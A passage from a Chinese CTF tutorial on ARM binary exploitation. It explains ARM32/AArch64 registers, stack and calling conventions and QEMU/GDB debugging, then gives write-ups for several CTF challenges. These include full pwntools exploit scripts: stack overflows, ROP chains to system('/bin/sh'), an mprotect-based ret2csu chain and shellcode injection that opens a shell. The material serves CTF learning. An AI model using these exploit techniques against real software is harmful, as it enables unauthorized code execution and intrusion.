2. 在子程序中，使用寄存器 **R4～R11** 来 **保存局部变量** 。这时，寄存器R4～R11可以记作var1～var8。如果在子程序中使用了寄存器v1～v8中的某些寄存器，则 **子程序进入时必须保存这些寄存器的值，在返回前必须恢复这些寄存器的值** 。 **R7经常被用作存储系统调用号，R11存放着帮助我们找到栈帧边界的指针，记作FP** 。在Thumb程序中，通常只能使用寄存器R4～R7来保存局部变量。
3. 寄存器 **R12** 用作 **过程调用中间临时寄存器** ，记作IP。在子程序之间的连接代码段中常常有这种使用规则。
4. 寄存器 **R13** 用作 **堆栈指针** ，记作SP。在子程序中寄存器R13不能用作其他用途。 **寄存器SP在进入子程序时的值和退出子程序时的值必须相等** 。
5. 寄存器 **R14** 称为 **连接寄存器** ，记作LR。它用于 **保存子程序的返回地址** 。如果在子程序中保存了返回地址，寄存器R14则可以用作其他用途。
6. 寄存器 **R15** 是 **程序计数器** ，记作PC。它不能用作其它用途。当执行一个分支指令时， **PC存储目的地址。在程序执行中，ARM模式下的PC存储着当前指令加8(两条ARM指令后)的位置，Thumb(v1)模式下的PC存储着当前指令加4(两条Thumb指令后)的位置** 。
给出ARM架构寄存器与Intel架构寄存器的关系：
ARM架构 寄存器名 | 寄存器描述 | Intel架构 寄存器名
---|---|---
R0 | 通用寄存器 | EAX
R1~R5 | 通用寄存器 | EBX、ECX、EDX、EDI、ESI
R6~R10 | 通用寄存器 | 无
R11(FP) | 栈帧指针 | EBP
R12(IP) | 内部程序调用 | 无
R13(SP) | 堆栈指针 | ESP
R14(LP) | 链接寄存器 | 无
R15(PC) | 程序计数器 | EIP
CPSR | 程序状态寄存器 | EFLAGS
#### 堆栈(Stack)规则
1. ATPCS规定堆栈为FD类型，即Full Descending，意思是 **SP指向最后一个压入的值(栈顶)，数据栈由高地址向低地址生长** ，即满递减堆栈，并且对堆栈的操作是8字节对齐。所以经常使用的指令就有 **STMFD和LDMFD** 。
2. STMFD指令即Store Multiple FULL Descending指令，相当于压栈。`STMFD SP! ,{R0-R7，LR}`实际上会执行以下命令：
SP = SP - 9 x 4 (共计压入R0-R7以及LR一共九个寄存器)
ADDRESS = SP
MEMORY[ADDRESS] = LR
for i = 7 to 0
MEMORY[ADDRESS] = Ri
ADDRESS = ADDRESS + 4
此处也可以看出，事实上的入栈顺序与`R0-R7，LR`相反。
1. 执行`SP = SP - 9 x 4`后
2. 执行`ADDRESS = SP`后
3. 执行`MEMORY[ADDRESS] = LR`后
4. 接下来，`ADDRESS`逐次上移，以此填入寄存器的值。
5. 至此，入栈指令执行结束。
⚠️：若入栈指令为`STMFD SP ,{R0-R7，LR}`，SP指针会在最后回到原位，不会改变SP指针的值。
3. LDMFD指令即Load Multiple FULL Descending指令，相当于出栈，也就是STMFD指令的逆操作。`LDMFD SP! ,{R0-R7，LR}`实际上会执行以下命令：
SP = SP + 9 x 4
ADDRESS = SP
for i = 0 to 7
Ri = MEMORY[ADDRESS]
ADDRESS = ADDRESS - 4
LR = MEMORY[ADDRESS]
4. 对于汇编程序来说，如果目标文件中包含了外部调用，则必须满足下列条件：
1. 外部接口的堆栈必须是8字节对齐的。
2. 在汇编程序中使用PRESERVE8伪指令告诉连接器，本汇编程序数据是8字节对齐的。
#### 传参规则
1. 对于参数个数可变的子程序，当参数个数不超过4个时，可以使用寄存器R0～R3来传递参数；当参数超过4个时，还可以使用堆栈来传递参数。
2. 在传递参数时，将所有参数看作是存放在连续的内存字单元的字数据。然后，依次将各字数据传递到寄存器R0，R1，R2和R3中。 **如果参数多于4个，则将剩余的字数据传递到堆栈中。入栈的顺序与参数传递顺序相反，即最后一个字数据先入栈。**
#### 返回值规则
1. 结果为一个32位整数时，可以通过寄存器R0返回
2. 结果为一个64位整数时，可以通过寄存器R0和R1返回
3. 结果为一个浮点数时，可以通过浮点运算部件的寄存器f0、d0或s0来返回
4. 结果为复合型浮点数（如复数）时，可以通过寄存器f0～fn或d0～dn来返回
5. 对于位数更多的结果，需要通过内存来传递。
#### 访址规则
1. 通常，LDR指令被用来从内存中加载数据到寄存器，STR指令被用作将寄存器的值存放到内存中。
@ LDR操作：从R0指向的地址中取值放到R2中
LDR R2, [R0] @ [R0] - 数据源地址来自于R0指向的内存地址
@ STR操作：将R2中的值放到R1指向的地址中
STR R2, [R1] @ [R1] - 目的地址来自于R1在内存中指向的地址
那么我们给出示例代码和解释：
.data /* 数据段是在内存中动态创建的，所以它的在内存中的地址不可预测*/
var1: .word 3 /* 内存中的第一个变量且赋值为3 */
var2: .word 4 /* 内存中的第二个变量且赋值为4 */
.text /* 代码段开始 */
.global _start
_start:
ldr r0, adr_var1 @ 将存放var1值的地址adr_var1加载到寄存器R0中
ldr r1, adr_var2 @ 将存放var2值的地址adr_var2加载到寄存器R1中
ldr r2, [r0] @ 将R0所指向地址中存放的0x3加载到寄存器R2中
str r2, [r1] @ 将R2中的值0x3存放到R1做指向的地址，此时，var2变量的值是0x3
bkpt
adr_var1: .word var1 /* var1的地址助记符 */
adr_var2: .word var2 /* var2的地址助记符 */
接下来我们对这段代码进行反编译，结果如下：
ldr r0, [ pc, #12 ] ; 0x8088 <adr_var1>
ldr r1, [ pc, #12 ] ; 0x808c <adr_var2>
ldr r2, [r0]
str r2, [r1]
bx lr
此处，`[PC,#12]`的意义是`PC + 4*3`，可以看出，程序使用了偏移寻址的思路，但是，根据我们所写的汇编码：
_start:
ldr r0, [ pc, #12 ] ; <- PC
ldr r1, [ pc, #12 ]
ldr r2, [r0]
str r2, [r1]
bx lr
adr_var1: .word var1
adr_var2: .word var2
我们若想获取var_1，应该为`PC + 4 * 5`才对，但是我们之前提过的，
**在程序执行中，ARM模式下的PC存储着当前指令加8(两条ARM指令后)的位置** ，也就是说，此时程序中的状况应该如下表所示：
_start:
ldr r0, [ pc, #12 ]
ldr r1, [ pc, #12 ]
ldr r2, [r0] ; <- PC
str r2, [r1]
bx lr
adr_var1: .word var1
adr_var2: .word var2
这种形如`[Ri , num]`的方式被称为 **立即数作偏移寻址** 。
str r2, [r1, #2] @ 取址模式：基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加2所指向地址处。
str r2, [r1, #4]! @ 取址模式：基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加4所指向地址处，之后R1寄存器中存储的值加4,也就是R1=R1+4。
ldr r3, [r1], #4 @ 取址模式：基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的，加载之后R1寄存器中存储的值加4,也就是R1=R1+4。
2. 形如`[Ri , Rj]`的方式被称为 **寄存器作偏移寻址** 。
str r2, [r1, r2] @ 取址模式：基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加R2寄存器的值所指向地址处。R1寄存器不会被修改。
str r2, [r1, r2]! @ 取址模式：基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加R2寄存器的值所指向地址处，之后R1寄存器中的值被更新,也就是R1=R1+R2。
ldr r3, [r1], r2 @ 取址模式：基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的，加载之后R1寄存器中的值被更新也就是R1=R1+R2。
3. 形如`[Ri , Rj , <shifter>]`的方式被称为 **寄存器缩放值作偏移寻址** 。
str r2, [r1, r2, LSL#2] @ 取址模式：基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加(左移两位后的R2寄存器的值)所指向地址处。R1寄存器不会被修改。
str r2, [r1, r2, LSL#2]! @ 取址模式：基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加(左移两位后的R2寄存器的值)所指向地址处，之后R1寄存器中的值被更新,也就R1 = R1 + R2<<2。
ldr r3, [r1], r2, LSL#2 @ 取址模式：基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的，加载之后R1寄存器中的值被更新也就是R1 = R1 + R2<<2。
### AArch64 架构
需要指出的是，AArch64架构并不是ARM-32架构的简单扩展，他是在ARMv8引入的一种全新架构。
#### 寄存器变化
AArch拥有31个通用寄存器，系统运行在64位状态下的时候名字叫Xn，运行在32位的时候就叫Wn。
寄存器 | 别名 | 意义
---|---|---
SP | – | Stack Pointer:栈指针
R30 | LR | Link Register:在调用函数时候，保存下一条要执行指令的地址。
R29 | FP | Frame Pointer:保存函数栈的基地址。
R19-R28 | – | Callee-saved registers（含义见上面术语解释）
R18 | – | 平台寄存器，有特定平台解释其用法。
R17 | IP1 | The second intra-procedure-call temporary register……
R16 | IP0 | The first intra-procedure-call temporary register……
R9-R15 | – | 临时寄存器
R8 | – | 在一些情况下，返回值是通过R8返回的
R0-R7 | – | 在函数调用过程中传递参数和返回值
NZCV | – | 状态寄存器：N（Negative）负数 Z(Zero) 零 C(Carry) 进位 V(Overflow) 溢出
#### 指令集变化
1. 除了批量加载寄存器指令 LDM/STM, PUSH/POP, 使用STP/LDP 一对加载寄存器指令代替。
2. 没有提供访问CPSR的单一寄存器，但是提供访问PSTATE的状态域寄存器。
3. A64没有协处理器的概念，没有协处理器指令MCR,MRC。
4. 相比A32少了很多条件执行指令，只有条件跳转和少数数据处理这类指令才有条件执行。
##### 指令基本格式
`<Opcode>{<Cond>}<S> <Rd>, <Rn> {,<Opcode2>}`
Opcode：操作码，也就是助记符，说明指令需要执行的操作类型。
Cond：指令执行条件码。
S：条件码设置项,决定本次指令执行是否影响PSTATE寄存器响应状态位值。
Rd/Xt：目标寄存器，A32指令可以选择R0-R14,T32指令大部分只能选择RO-R7，A64指令可以选择X0-X30。
Rn/Xn：第一个操作数的寄存器，和Rd一样，不同指令有不同要求。
Opcode2：第二个操作数，可以是立即数，寄存器Rm和寄存器移位方式（Rm，#shit）。
##### 内存操作指令-load/store
在分析AArch64架构程序时，会发现我们找不到ARM中常见的STMFD/LDMFD命令，取而代之的是STP/LDP命令。
在ARM-v8指令集中，程序支持以下五种寻址方式：
1. Base register only (no offset) ：基址寄存器无偏移。形如:`[ base { , #0 } ]`。
2. Base plus offset：基址寄存器加偏移。形如:`[ base { , #imm } ]`。
3. Pre-indexed：事先更新寻址，先变化后操作。形如:`[ base , #imm ]!`。⚠️：!符号表示则当数据传送完毕之后，将最后的地址写入基址寄存器，否则基址寄存器的内容不改变。
4. Post-indexed：事后更新寻址，先操作后变化。形如:`[ base ] , #imm`。
5. Literal (PC-relative): PC相对寻址。
常见的Load/Store指令有：
LDR，LDRB，LDRSB，LDRH，LDRSW，STR，STRB，STRH
⚠️：此处R – Register(寄存器)、RB – Byte(字节-8bit)、SB – Signed Byte(有符号字节)、RH – Half
Word(半字-16bit)、SW- Signed Word(带符号字-32bit)。
举例：
`LDR X1 , [X2]`——将X2寄存器中的值赋给X1寄存器。
`LDR X1 , [X2] ， #4`——将X2寄存器中的值赋给X1寄存器，然后X2寄存器中的值加4。
对于Load Pair/Store Pair这两个指令：从Memory地址addr处读取两个双字/字数据到目标寄存器Xt1，Xt2。
### QEMU下的远程调试
以调试方式启动应用程序`qemu-arm -g [port] -L [dynamically linked file] filename`。
这样，程序在启动时将会同时启动gdbserver，程序也会在开头中断等待gdb链接。
新建终端窗口，使用命令`gdb-multiarch filename -q`启动GDB。
进入GDB后，首先使用命令`set architecture [Arch-name]`设置架构。(若安装了能自动识别架构的GDB插件这一步可以省略)
然后使用`target remote
localhost:[port]`来链接待调试的程序。(在GEF插件中，若想继续使用GEF插件的部分特性需要将命令改为`gef-remote
localhost:[port]`)
此处需要注意，在远程调试下会发现有一部分命令很难用，比如`s/n`这两个指令，当然官网也给出了不可用的原因是：
> s 相当于其它调试器中的“Step Into (单步跟踪进入)”
>
> n 相当于其它调试器中的“Step Over (单步跟踪)”
>
> **这两个命令必须在有源代码调试信息的情况下才可以使用（GCC编译时使用“-g”参数）。**
而我们可以发现，无论是源程序还是libc都是没有调试信息的。
因此我们需要使用`si/ni`指令来替代它们。
然后是vmmap命令对于远端内存情况的查看貌似也差强人意。(尽管此处的远端也是localhost)
## 0x04 实战演练
### 以jarvisoj_typo为例
#### 程序分析
程序为ARM-32-static程序。
可以发现程序的符号表已经被去除，这极大地增加了我们的分析难度。
因此先使用[Rizzo](https://github.com/fireundubh/IDA7-Rizzo)进行符号表修复，首先用IDA加载`/usr/arm-linux-gnueabihf/lib/libc-2.24.so`。
在IDA的file—>Produce file—>Rizzo signature file中使用Rizzo导出符号表文件。
然后加载题目文件，在IDA的file—>Load file—>Rizzo signature
file中使用Rizzo导出加载我们刚才导出的符号表文件，可以看出我们的部分函数符号得到了恢复~
然后我们根据调用的传参规则识别一些函数。
此处推测是`write(1,buf,length)`的调用。
我们发现，我们无法快速的根据反编译结果确定栈变量偏移。
进一步分析发现程序有大量代码没有被反编译！
在进行进一步跟进分析发现此程序在IDA中大量的识别错误，包括但不限于大量的函数尾识别出错，堆栈分析错误，于是放弃静态分析的利用思路。
#### 利用思路
考虑使用爆破padding的方式来获取正确的PC控制偏移。
#### padding爆破
def get_padding_length():
length = 0
while True:
sh = get_sh()
sh.recvuntil('if you want to quitn')
sh.send('n')
sh.recvrepeat(0.3)
sh.sendline('A' * length + p32(0x8F00))
try:
if 'if you want to quitn' in sh.recvrepeat(0.3):
return length
sh.sendline('~')
log.info('When padding is ' + str(length) + ', Success exit!')
length = length + 1
sh.close()
except:
log.info('When padding is ' + str(length) + ', Fail exit!')
length = length + 1
sh.close()
pass
#### Ret2addr
首先我们找一个合适的gadget用以劫持PC指针，此处我们选用0x00020904处的gadget。
error404@error404-PC:/media/psf/Home/Desktop/CTF_question/ARM_dir$ ROPgadget --binary 'typo' --only 'pop|ret'
Gadgets information
============================================================
0x00008d1c : pop {fp, pc}
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00008a3c : pop {r3, r4, r5, r6, r7, r8, fp, pc}
0x0000a678 : pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x00008520 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00068c68 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x00008de8 : pop {r4, fp, pc}
0x000083b0 : pop {r4, pc}
0x00008eec : pop {r4, r5, fp, pc}
0x00009284 : pop {r4, r5, pc}
0x000242e0 : pop {r4, r5, r6, fp, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000212ec : pop {r4, r5, r6, r7, fp, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00043110 : pop {r4, r5, r6, r7, r8, fp, pc}
0x00011648 : pop {r4, r5, r6, r7, r8, pc}
0x00048e9c : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x0000a5a0 : pop {r4, r5, r6, r7, r8, sb, pc}
0x0000870c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00011c24 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000553cc : pop {r4, r5, r6, r7, r8, sl, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}
Unique gadgets found: 29
我们刚才又顺利的恢复了符号表，获取了system函数的位置。
接下来我们检索程序中的`/bin/sh`字符串。
于是，我们构造`payload='A'*padding + p32(0x00020904) + p32(0x0006c384) +
p32(0x0006c384) + p32(0x000110B4)`
#### Final exploit
from pwn import *
import sys
context.log_level='debug'
context.arch='arm'
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./")
return remote(sys.argv[1], sys.argv[2])
else:
return process("./typo")
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_padding_length():
length = 0
while True:
sh = get_sh()
sh.recvuntil('if you want to quitn')
sh.send('n')
sh.recvrepeat(0.3)
sh.sendline('A' * length + p32(0x8F00))
try:
if 'if you want to quitn' in sh.recvrepeat(0.3):
return length
sh.sendline('~')
log.info('When padding is ' + str(length) + ', Success exit!')
length = length + 1
sh.close()
except:
log.info('When padding is ' + str(length) + ', Fail exit!')
length = length + 1
sh.close()
pass
if __name__ == "__main__":
padding = 112
if padding is null:
padding = get_padding_length()
log.success('We get padding length is ' + str(get_padding_length()))
sh = get_sh()
payload='A' * padding + p32(0x00020904) + p32(0x0006c384) + p32(0x0006c384) + p32(0x000110B4)
sh.recvuntil('if you want to quitn')
sh.send('n')
sh.recvrepeat(0.3)
sh.sendline(payload)
flag=get_flag(sh)
log.success('The flag is '+flag)
sh.close()
### 以Codegate2018_melong为例
#### 程序分析
32位ARM动态链接程序，仅开启NX保护。
题目是一个BMI指数计算和记录程序，write_diary存在明显的栈溢出漏洞，溢出的长度由我们的`BMI指数`决定，此处若我们使得`nbyte`为-1就可以获得一个近乎无限长度的溢出了~
分析main函数可以得知，我们若想进入write_diary函数，必须使得`BMI_num`不为空，而`BMI_num`由PT函数计算得到，那么就必须保证`v5`不为空，因此，我们必须进入的函数有`Check`、`PT`这两个函数。
那么先分析PT函数
可以发现，程序没有任何的限制，那么我们直接进入Check函数，跟进流程即可，进入PT函数后直接输入-1即可获取溢出点。
#### 构造payload
##### Leak Libc
首先，在main函数，可以确定需要padding的长度为0x54。
⚠️：此时，在ARM程序中，要特别注意，我们无需覆盖BP指针的值，我们之前说过(见上文的堆栈规则)ARM下的入栈顺序，可以看到事实上返回地址之前并没有BP指针需要伪造。
然后利用`ROPgadget`可以获取程序里可供利用的`gadget`。
此处我们选用`0x00011bbc : pop {r0, pc}`
那么可以构造payload。
`payload = 'A'*0x54 + p32(0x00011bbc) + p32(melong.got['puts']) +
p32(melong.plt['puts'])`
然后我们进行调试，注意，我们需要调试时，程序的启动方式需要变更。
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
elif remote_gdb:
sh = process(["qemu-arm", "-g", "2333", "-L", "/usr/arm-linux-gnueabi", "./melong"])
log.info('Please use GDB remote!(Enter to continue)')
raw_input()
return sh
else :
return process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "./melong"])
需要在本地启动一个gdb server，然后新开一个终端窗口进行附加。
我们在main函数返回处下断~
可以看到，执行流确实被我们劫持了，并且程序确实输出了`puts`的`GOT`表地址。
##### 返回main函数
接下来我们想要让程序返回main函数从而做二次利用。
但是在调试时发现程序在进入puts函数时`IR`寄存器的值并没有发生变化，这导致在puts函数执行结束后程序会回到`0x0011270`的位置，这将会导致程序再次执行`LDMFD
SP!, {R11,PC}`。进而导致栈混乱。
##### 静态libc加载？
接下来我们发现，连续的两次泄露中，puts的got表地址并没有发生变化，也就是说！这里的libc文件可能是静态加载到程序里的！那么我们可以直接构造最终的exploit！
#### Final Exploit
from pwn import *
import sys
context.log_level='debug'
context.arch='arm'
remote_gdb=False
melong=ELF('./melong')
libc=ELF("/usr/arm-linux-gnueabi/lib/libc.so.6", checksec = False)
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./libc-2.30.so", checksec = False)
return remote(sys.argv[1], sys.argv[2])
elif remote_gdb:
sh = process(["qemu-arm", "-g", "2333", "-L", "/usr/arm-linux-gnueabi", "./melong"])
log.info('Please use GDB remote!(Enter to continue)')
raw_input()
return sh
else :
return process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "./melong"])
def get_address(sh,arch_num=null,info=null,start_string=null,end_string=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif arch_num == 64:
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
log.success(info+str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
if __name__ == "__main__":
# print(args['DEBUG'])
sh = get_sh(True)
libc_base = 0xff6b6f98 - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addre = libc_base + libc.search('/bin/sh').next()
# payload = 'A' * 0x54 + p32(0x00011bbc) + p32(melong.got['puts']) + p32(melong.plt['puts'])
payload = 'A' * 0x54 + p32(0x00011bbc) + p32(binsh_addre) + p32(system_addr)
sh.recvuntil('Type the number:')
sh.sendline('1')
sh.recvuntil('Your height(meters) : ')
sh.sendline('1')
sh.recvuntil('Your weight(kilograms) : ')
sh.sendline('1')
sh.recvuntil('Type the number:')
sh.sendline('3')
sh.recvuntil('How long do you want to take personal training?')
sh.sendline('-1')
sh.recvuntil('Type the number:')
sh.sendline('4')
sh.sendline(payload)
sh.recvuntil('Type the number:')
sh.sendline('6')
flag=get_flag(sh)
log.success('The flag is '+flag)
### 以Shanghai2018 – baby_arm为例
#### 程序分析
64位aarch架构程序，仅开启NX保护。
`main`函数的逻辑相当简单，在`read_200`的函数中，可以发现存在明显的栈溢出。
因此我们可以构造Payload。
#### 构造payload
首先我们想要把shellcode写到BSS段，然后发现程序中存在`mprotect`函数的调用痕迹。
那么我们可以利用`mprotect`函数修改BSS段的权限为可执行权限，然后将Shellcode放在BSS段上，跳转执行即可。
然后我们读一下汇编码~
看到进入函数时对SP指针进行了-0x50的操作，之后又将其+0x10作为参数传入read函数。
那么我们是无法劫持这个函数的PC指针的，这个函数的Stack结构如下。
可见，我们无法篡改X29和X30寄存器，但是！当此函数执行完毕后，SP指针会回到Buf的结束位置，之后main函数会直接从那里取出地址返回，我们就可以劫持main函数的PC指针。
那么padding长度必定为0x40，然后覆盖X29寄存器的值，然后就能覆盖X30(返回地址所在寄存器)
`padding = 'A' * 0x40 + p64(0xdeadbeef)`
接下来我们需要控制`X0-X3`寄存器，以完成`mprotect(0x411000,0x1000,7)`的构造。
很可惜，没有符合要求的gadget~
但是我们在程序中发现了这样的代码：
可以看到这段代码非常像我们在Intel/AMD架构下利用的`ret2csu`的代码，那么此处我们可以进行利用。
自`0x4008CC`处的代码开始，程序会依次对`X19、X20、X21、X22、X23、X24、X29、X30`赋值。
⚠️：
**此处请特别注意！X29，X30取的是SP指针指向处的值，因此在栈上应当布置成`X29、X30、X19、X20、X21、X22、X23、X24`的顺序！**
我们若接下来将PC劫持到`0x4008AC`处，程序将执行`LDR
X3,[X21,X19,LSL#3]`，那么此句汇编的意义是，将X19的值逻辑左移(Logical Shift Left)三位后加上X21的值，
**取其所指向的值**
存储在X3寄存器中。接下来是把X22寄存器的值作为第三个参数，把X23寄存器的值作为第二个参数，把X24寄存器的值(的低32位)作为第一个参数，给X19寄存器的值加一，调用X3寄存器所指向的函数。
我们只需要控制X19为0，`LDR X3,[X21,X19,LSL#3]`其实就是`LDR
X3,[X21]`那么我们需要找一个可控地址写入`mprotect[@plt](https://github.com/plt
"@plt")`，此时BSS就成了我们的最佳选择。
那么我们可以构造此处的payload：
payload = padding + p64(0x4008CC) # X19 , X20
payload += p64(0xdeadbeef) # X29
payload += p64(0x4008AC) # X30
payload += p64(0) + p64(1) # X19 , X20
payload += p64(0x411068 + 0x100) # X21
payload += p64(0x7) # X22
payload += p64(0x1000) # X23
payload += p64(0x411000) # X24
接下来，我们需要让程序继续返回溢出函数，以劫持PC到shellcode处。
payload += p64(0xdeadbeef) # X29
payload += p64(0x4007F0) # X30
payload += p64(0) * 0x6 # X19 - X24
于是，完整的payload为
shell_code = asm(shellcraft.sh())
shell_code = shell_code.ljust(0x100,'x90')
shell_code = shell_code + p64(baby_arm.plt['mprotect'])
padding = 'A' * 0x40 + p64(0xdeadbeef)
payload = padding + p64(0x4008CC) # X19 , X20
payload += p64(0xdeadbeef) # X29
payload += p64(0x4008AC) # X30
payload += p64(0) + p64(1) # X19 , X20
payload += p64(0x411068 + 0x100) # X21
payload += p64(0x7) # X22
payload += p64(0x1000) # X23
payload += p64(0x411000) # X24
payload += p64(0xdeadbeef) # X29
payload += p64(0x400068) # X30
payload += p64(0) * 0x6 # X19 - X24
#### Final exploit
from pwn import *
import sys
context.log_level='debug'
context.arch='aarch64'
Debug = False
shanghai2018_baby_arm=ELF('./shanghai2018_baby_arm', checksec = False)
libc=ELF("/usr/aarch64-linux-gnu/lib/libc.so.6", checksec = False)
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
elif Debug:
sh = process(["qemu-aarch64", "-g", "2333", "-L", "/usr/aarch64-linux-gnu", "./shanghai2018_baby_arm"])
log.info('Please use GDB remote!(Enter to continue)')
raw_input()
return sh
else :
return process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./shanghai2018_baby_arm"])
def get_address(sh,arch_num=null,info=null,start_string=null,end_string=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif arch_num == 64:
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
log.success(info+str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
if __name__ == "__main__":
sh = get_sh()
shell_code = asm(shellcraft.sh())
shell_code = shell_code.ljust(0x100,'x90')
shell_code = shell_code + p64(shanghai2018_baby_arm.plt['mprotect'])
padding = 'A' * 0x40 + p64(0xdeadbeef)
payload = padding + p64(0x4008CC) # X19 , X20
payload += p64(0xdeadbeef) # X29
payload += p64(0x4008AC) # X30
payload += p64(0) + p64(1) # X19 , X20
payload += p64(0x411068 + 0x100) # X21
payload += p64(0x7) # X22
payload += p64(0x1000) # X23
payload += p64(0x411000) # X24
payload += p64(0xdeadbeef) # X29
payload += p64(0x411068) # X30
payload += p64(0) * 0x6 # X19 - X24
sh.recvuntil('Name:')
sh.sendline(shell_code)
sh.sendline(payload)
sh.interactive()
flag=get_flag(sh)
log.success('The flag is '+flag)
### 以inctf2018-warmup为例
#### 程序分析
程序为ARM-32-dynamically linked程序。
明显存在栈溢出漏洞。
但是这次我们只能溢出0x10个字节，并且程序中看似没有什么好用的gadget。
注意到程序中存在一个可以控制R3的gadget，并且可以利用main函数中的汇编语句完成任意地址写。
那么我们可以向BSS段写入shellcode并执行。
#### Final Exploit
from pwn import *
import sys
context.log_level='debug'
context.arch='arm'
Deb =False
wARMup=ELF('./wARMup', checksec = False)
libc=ELF("/usr/arm-linux-gnueabi/lib/libc.so.6", checksec = False)
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
elif Deb:
sh = process(["qemu-arm", "-g", "2333", "-L", "/usr/arm-linux-gnueabihf", "./wARMup"])
log.info('Please use GDB remote!(Enter to continue)')
raw_input()
return sh
else :
return process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./wARMup"])
def get_address(sh,arch_num=null,info=null,start_string=null,end_string=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif arch_num == 64:
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
log.success(info+str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
if __name__ == "__main__":
shellcode = asm(shellcraft.sh())
sh = get_sh()
payload = 'A' * 0x64 + p32(wARMup.bss() + 0x300) + p32(0x0010364) + p32(wARMup.bss() + 0x300) + p32(0x0010530)
sh.recvuntil('Welcome to bi0s CTF!')
sh.sendline(payload)
sh.sendline(p32(wARMup.bss() + 0x304) + shellcode)
sh.interactive()
flag=get_flag(sh)
log.success('The flag is '+flag)
### 以Stack_buffer_overflow_basic为例
#### 程序分析
程序为ARM-32-dynamically linked程序。
使用IDA分析发现程序逻辑并不是十分明了的。
但是试运行后发现程序逻辑较为明确，可以发现我们可以向栈上写入数据，且数据的起始地址程序会告诉我们，于是可以很明确的构造ret2shellcode。
#### Final Exploit
from pwn import *
import sys
context.log_level='debug'
context.arch='arm'
Stack_buffer_overflow_basic=ELF('./Stack_buffer_overflow_basic', checksec = False)
libc=ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6", checksec = False)
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
elif False:
sh = process(["qemu-arm", "-g", "2333", "-L", "/usr/arm-linux-gnueabihf", "./Stack_buffer_overflow_basic"])
log.info('Please use GDB remote!(Enter to continue)')
raw_input()
return sh
else :
return process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./Stack_buffer_overflow_basic"])
def get_address(sh,arch_num=null,info=null,start_string=null,end_string=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif arch_num == 64:
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
log.success(info+str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
if __name__ == "__main__":
sh = get_sh()
sh.recvuntil('Give me data to dump:')
sh.sendline('A')
shellcode_addr = get_address(sh,32,'We get shellcode address is ','0x',':',True)
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0xA4,'x90') + p32(shellcode_addr)
sh.recvuntil('Dump again (y/n):')
sh.sendline('y')
sh.recvuntil('Give me data to dump:')
sh.sendline(payload)
sh.recvuntil('Dump again (y/n):')
sh.sendline('n')
sh.interactive()
flag=get_flag(sh)
log.success('The flag is '+flag)
### 以Basic_ROP为例 —— 栈迁移实例
